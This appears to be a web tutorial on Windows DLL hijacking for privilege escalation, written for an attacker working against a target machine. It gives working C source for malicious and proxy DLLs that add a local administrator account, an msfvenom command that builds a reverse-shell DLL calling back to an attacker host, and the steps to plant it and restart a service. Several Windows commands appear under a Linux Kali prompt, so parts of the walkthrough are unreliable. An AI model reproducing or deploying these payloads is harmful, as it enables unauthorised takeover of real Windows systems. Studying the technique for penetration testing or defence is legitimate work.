Skip to content
HackIndex logo

HackIndex

Windows DLL Hijacking for Privilege Escalation

4 min read Jul 14, 2026

Windows applications load DLLs by searching several directories in order. If a DLL is missing or a directory searched before the system directory is writable, planting a malicious DLL there causes the application to load and execute your code. When the target application runs as SYSTEM or an elevated account, you get privileged code execution.

DLL Search Order

For applications without a manifest or SetDllDirectory call, Windows searches in this order:

  1. The directory of the executable itself

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. Current working directory

  6. Directories in the PATH environment variable

The most common exploitation path: a SYSTEM service is missing a DLL, and its executable directory or a directory in PATH is writable.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /priv
C:\Users\Guest\Desktop> whoami /groups

Check if any directories in PATH are writable:

C:\Users\Guest\Desktop> echo %PATH%
C:\Users\Guest\Desktop> # Check each directory
C:\Users\Guest\Desktop> accesschk.exe -uwdqs Users "C:\Some\Path\In\PATH" /accepteula 2>nul

Step 1 — Find Missing DLLs with Process Monitor

Process Monitor (Procmon) from Sysinternals is the most reliable way to find DLL hijacking opportunities. Run it on the target while the vulnerable application or service starts:

C:\Users\Guest\Desktop> # On target — run Procmon as admin
C:\Users\Guest\Desktop> Procmon.exe /Quiet /Minimized /BackingFile C:\Windows\Temp\procmon.pml

Set filters:

  • Operation is CreateFile

  • Path ends with .dll

  • Result is NAME NOT FOUND

This shows every DLL the application tried to load but could not find. For each NAME NOT FOUND entry, check if you can write to any of the directories it searched.

Step 2 — Find Missing DLLs Manually

Without Procmon, use PowerSploit's Find-PathDLLHijack:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Find-PathDLLHijack
PS C:\Users\Guest\Desktop> Find-ProcessDLLHijack

Or check service executables manually:

C:\Users\Guest\Desktop> # Get service binary paths
C:\Users\Guest\Desktop> wmic service get name,pathname | findstr /v "C:\Windows"
 
C:\Users\Guest\Desktop> # Check for DLLs the service tries to load — look at imports
C:\Users\Guest\Desktop> dumpbin /imports "C:\Path\To\service.exe" 2>nul

Step 3 — Confirm Write Access

Once you identify a missing DLL and the search path, confirm write access:

┌──(kali㉿kali)-[~]
└─$ # Check the service executable's directory
┌──(kali㉿kali)-[~]
└─$ icacls "C:\VulnerableApp\" 2>nul
# Check PATH directories
for %d in (%PATH%) do @icacls "%d" 2>nul | findstr "(W)\|(M)\|(F)"

Step 4 — Create the Malicious DLL

The DLL must export the functions the application expects. For a missing DLL where the application does not check return values, a minimal DLL with a DllMain constructor is enough:

// malicious.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

Compile on your attack box (cross-compile for Windows):

┌──(kali㉿kali)-[~]
└─$ # Linux cross-compile
┌──(kali㉿kali)-[~]
└─$ x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c -lws2_32
 
┌──(kali㉿kali)-[~]
└─$ # Or with msfvenom
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o malicious.dll

Step 5 — Place the DLL

Copy the DLL to the writable directory with the exact filename the application expects:

┌──(kali㉿kali)-[~]
└─$ copy C:\Windows\Temp\malicious.dll "C:\VulnerableApp\missing.dll"

Step 6 — Trigger DLL Load

Restart the vulnerable service or application:

C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Or wait for the next scheduled execution. Start your listener first if using a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Proxy DLL — Forwarding Exports

If the application checks that the DLL exports specific functions, a minimal DLL will crash it. Create a proxy DLL that forwards all exports to the real DLL while also executing your payload:

// proxy.c — forwards all exports to the original DLL
#include <windows.h>

// Forward all exports
#pragma comment(linker, "/export:ExportedFunction=C:\\Windows\\System32\\original.dll.ExportedFunction")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

Tools like SharpDllProxy automate proxy DLL generation:

C:\Users\Guest\Desktop> # Generate a proxy DLL automatically
C:\Users\Guest\Desktop> SharpDllProxy.exe --dll C:\Windows\System32\original.dll --payload C:\Windows\Temp\shell.exe

Common High-Value DLL Hijacking Targets

Third-party software in C:\Program Files frequently loads DLLs from the same directory or from PATH. Look for:

  • Custom services in non-standard installation directories

  • Applications that run elevated and load DLLs from user-writable locations

  • Services with %TEMP% or %APPDATA% in their working directory

References